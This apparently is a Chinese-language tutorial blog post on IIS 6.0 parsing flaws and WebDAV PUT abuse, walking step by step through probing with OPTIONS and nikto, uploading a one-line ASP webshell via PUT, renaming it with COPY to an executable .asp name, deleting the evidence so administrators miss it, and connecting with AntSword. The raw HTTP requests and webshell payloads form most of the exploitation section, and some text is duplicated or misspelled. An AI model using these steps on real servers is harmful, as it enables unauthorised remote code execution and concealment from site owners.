中间件解析漏洞 - IIS6.0

中间件解析漏洞 - IIS6.0

1. IIS6.0 解析漏洞介绍

2. IIS6.0 PUT 上传原理

3. IIS6.0 PUT 上传探测

4. IIS6.0 PUT 上传利用

解析漏洞是什么意思呢?

上传到 Web 服务器(IIS6.0)的文件,并不是以 .asp 命名的文件,会被服务器(IIS6.0)解析为asp文件,造成非 asp 文件后缀名的 文件被当作 asp 脚本执行,从而执行其中的脚本代码。

1. IIS6.0 解析漏洞介绍

​ (1) 当建立如下格式的文件夹时,其目录下的任意文件都将被 IIS 当作文件解析

         *.asa             *.asp 
<%=NOW()%>  #被当作脚本执行,输出时间

​ (2) 当文件如下 IIS6.0 同样会将文件作为 asp 文件解析。

*.asp;1.jpg  *.asp;1.txt  都以asp脚本运行  

2. IIS6.0 PUT 上传原理

​ 在 IIS6.0 中集成了 WebDAV,WebDAV 基于 HTTP1.1 协议的通信协议使得 HTTP 支持 PUT MOVE COPY DELETE 方法

​ 1.探测是否存在 IIS PUT 漏洞:

OPUIONS/HTTP1.1
Host:www.xxx.com

​ 首先使用上述代码,并标明主机地址,如果探测过程中出现了对应支持的 PUT MOVE COPY DELETE 方法,则说明存在 PUT漏 洞,当然还有很多其他中间件支持 PUT MOVE COPY DELETE 都要进行设置,这里我们介绍 PUT 。

​ 2.上传 txt 文本文档

PUT /a.txt HTTP1.1
Host: www.xxx.com
Content-Lenth:30

<%eval request("chopper")%>

​ 使用 PUT 设置对应的上传位置,配置目标主机地址,设置内容长度不能过长过短,最后写下一句话 shell

​ 3.通过 Move 或 Copy 重名

COPY /a.txt HTTP1.1
Host:www.xxx.com
Destination:
http://www.xxx.com/cmd.asp

​ 上传成功后,会显示一个 TXT 文本文档,需要 COPY 将这个文档拷贝到 http://www.xxx.com/cmd.asp 这时候这个 TXT 文件会被重命名为 cmd.asp。

​ 4.删除

DELETE /a.txt HTTP1.1
Host:www.xxx.com

​ 为防止根目录下的 TXT 文档被系统管理员看到,可以使用 DELETE 指令删除,如上

	###  IIS6.0 PUT 上传探测

3. IIS6.0 PUT 上传探测

利用nikto探测

-nikto  -h  IP地址

​ 上图可知,支持方法包括 DELETE PUT MOVE 等等,所以可以得知当前主机支持 IIS6.0 PUT .于是可以进行上传 Webshell。

4. IIS6.0 PUT 上传利用

​ 利用 BurpSuite 进行 IIS PUT 漏洞利用。先 OPTIONS 探测、PUT 、MOVE 、DELETE

​ (1) 首先我们截断数据包,发送到Repeater。

​ (2) 然后修改对应的方法为 OPTIONS (将 GET 改为 OPTIONS) ,进行探测,如果返回了 200 (客户端请求成功)并且返回了对应的支持方法,这时候我们可以判断支持 IIS PUT ,由此我们可以进行下一步操作

中间件解析漏洞 - IIS6.0_第1张图片

​ (3) 探测完之后,就需要上传一个文本文档,将 OPTIONS 改为 PUT ,放于根目录下的 123.txt 文本文档,将对应内容 Webshell 写入最下方,点击 Go ,右边反馈 201 说明,我们在根目录中成功创建了一个 123.txt

(PS:图中应为)         <% eval request("cmd") %>

中间件解析漏洞 - IIS6.0_第2张图片

PUT /123.txt HTTP1.1
Host: 192.168.1.110


<%eval request("cmd")%>                   # shell    执行密码为cmd

​ (4) 上传完成后进行重命名, 将 PUT 改为 COPY ,Host改为对应ip ,将第二行一下所有信息删除,在第三行写入 Destination 后在文件解析漏洞目录 COPY 文件名改为 123.asp;aaa.jpg (当然也可以直接上传asp文件),点击 Go 反馈 creative 成功,便会在指定目录下生成一个文件,这时候就可以使用蚁剑连接了,注意蚁剑连接地址为 Destination 后所有,建议先打开网站试一试有没有报错

名改为 123.asp;aaa.jpg (当然也可以直接上传asp文件),点击 Go 反馈 creative 成功,便会在指定目录下生成一个文件,这时候就可以使用蚁剑连接了,注意蚁剑连接地址为 Destination 后所有,建议先打开网站试一试有没有报错
请添加图片描述

PS:本文中图片均来自网络!!!

你可能感兴趣的:(服务器,安全,前端,web安全)